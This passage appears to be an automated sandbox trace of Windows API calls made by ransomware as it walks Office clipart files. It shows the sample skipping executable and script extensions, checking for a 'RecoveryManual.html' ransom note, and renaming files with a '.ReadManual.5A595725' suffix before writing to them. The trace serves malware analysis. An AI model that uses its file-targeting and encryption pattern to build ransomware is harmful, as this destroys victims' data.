StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.445] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" [0267.445] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.ReadManual.5A595725" [0267.445] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.ReadManual.5A595725") returned 87 [0267.445] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38811382596) returned 1 [0267.445] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf")) returned 0x20 [0267.445] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.446] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9736) returned 1 [0267.446] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2608, lpName=0x0) returned 0x184 [0267.446] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.446] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.446] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.448] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.448] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2608) returned 0x2f0000 [0267.449] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.449] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38811752522) returned 1 [0267.449] CloseHandle (hObject=0x184) returned 1 [0267.449] SetSecurityInfo () returned 0x57 [0267.449] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.449] CloseHandle (hObject=0x194) returned 1 [0267.449] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1 [0267.449] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0174639.WMF" | out: lpString1="J0174639.WMF") returned="J0174639.WMF" [0267.449] lstrcmpiW (lpString1="J0174639.WMF", lpString2="RecoveryManual.html") returned -1 [0267.449] StrStrIW (lpFirst="J0174639.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.449] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.449] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.450] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.450] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.450] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.450] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" [0267.450] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.ReadManual.5A595725" [0267.450] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.ReadManual.5A595725") returned 87 [0267.450] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38811847963) returned 1 [0267.450] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf")) returned 0x20 [0267.450] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.450] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5100) returned 1 [0267.450] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13ec, lpName=0x0) returned 0x184 [0267.450] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.451] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.451] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.453] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.453] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13ec) returned 0x2f0000 [0267.453] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.453] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38812225631) returned 1 [0267.454] CloseHandle (hObject=0x184) returned 1 [0267.454] SetSecurityInfo () returned 0x57 [0267.454] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.454] CloseHandle (hObject=0x194) returned 1 [0267.454] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1 [0267.454] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0174952.JPG" | out: lpString1="J0174952.JPG") returned="J0174952.JPG" [0267.454] lstrcmpiW (lpString1="J0174952.JPG", lpString2="RecoveryManual.html") returned -1 [0267.454] StrStrIW (lpFirst="J0174952.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.454] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.454] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.454] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.454] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.454] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.454] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.454] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.454] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.454] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.454] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.454] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.454] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.454] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.454] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.454] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" [0267.454] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.ReadManual.5A595725" [0267.454] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.ReadManual.5A595725") returned 87 [0267.454] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38812324614) returned 1 [0267.455] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg")) returned 0x20 [0267.455] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.455] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24982) returned 1 [0267.455] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6196, lpName=0x0) returned 0x184 [0267.455] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.456] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.456] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.458] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.458] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6196) returned 0x2f0000 [0267.458] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.459] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38812743344) returned 1 [0267.459] CloseHandle (hObject=0x184) returned 1 [0267.459] SetSecurityInfo () returned 0x57 [0267.459] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.459] CloseHandle (hObject=0x194) returned 1 [0267.459] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1 [0267.459] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0175361.JPG" | out: lpString1="J0175361.JPG") returned="J0175361.JPG" [0267.459] lstrcmpiW (lpString1="J0175361.JPG", lpString2="RecoveryManual.html") returned -1 [0267.459] StrStrIW (lpFirst="J0175361.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.459] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.459] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.459] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.459] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.459] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.459] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.459] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.459] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.459] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.459] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.459] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.459] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.459] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.459] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.460] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" [0267.460] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.ReadManual.5A595725" [0267.460] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.ReadManual.5A595725") returned 87 [0267.460] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38812838046) returned 1 [0267.460] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg")) returned 0x20 [0267.460] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.460] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=46461) returned 1 [0267.460] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb57d, lpName=0x0) returned 0x184 [0267.460] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.461] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.461] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.463] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.464] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb57d) returned 0x2f0000 [0267.465] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.465] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38813413219) returned 1 [0267.465] CloseHandle (hObject=0x184) returned 1 [0267.465] SetSecurityInfo () returned 0x57 [0267.466] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.466] CloseHandle (hObject=0x194) returned 1 [0267.466] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1 [0267.466] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0175428.JPG" | out: lpString1="J0175428.JPG") returned="J0175428.JPG" [0267.466] lstrcmpiW (lpString1="J0175428.JPG", lpString2="RecoveryManual.html") returned -1 [0267.466] StrStrIW (lpFirst="J0175428.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.466] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.466] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.466] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.466] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.466] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.466] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.466] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.466] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.466] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.466] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.466] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.466] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.466] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.466] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.466] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" [0267.466] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.ReadManual.5A595725" [0267.466] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.ReadManual.5A595725") returned 87 [0267.466] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38813509581) returned 1 [0267.466] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg")) returned 0x20 [0267.467] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.467] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14552) returned 1 [0267.467] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38d8, lpName=0x0) returned 0x184 [0267.467] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.468] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.468] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.472] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.472] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38d8) returned 0x2f0000 [0267.472] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.472] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38814083512) returned 1 [0267.472] CloseHandle (hObject=0x184) returned 1 [0267.472] SetSecurityInfo () returned 0x57 [0267.472] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.472] CloseHandle (hObject=0x194) returned 1 [0267.472] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1 [0267.472] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0177257.JPG" | out: lpString1="J0177257.JPG") returned="J0177257.JPG" [0267.472] lstrcmpiW (lpString1="J0177257.JPG", lpString2="RecoveryManual.html") returned -1 [0267.472] StrStrIW (lpFirst="J0177257.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.473] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.473] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.473] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.473] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.473] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.473] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.473] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.473] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.473] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.473] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.473] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.473] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.473] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.473] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.473] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" [0267.473] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.ReadManual.5A595725" [0267.473] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.ReadManual.5A595725") returned 87 [0267.473] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38814183495) returned 1 [0267.473] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg")) returned 0x20 [0267.474] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 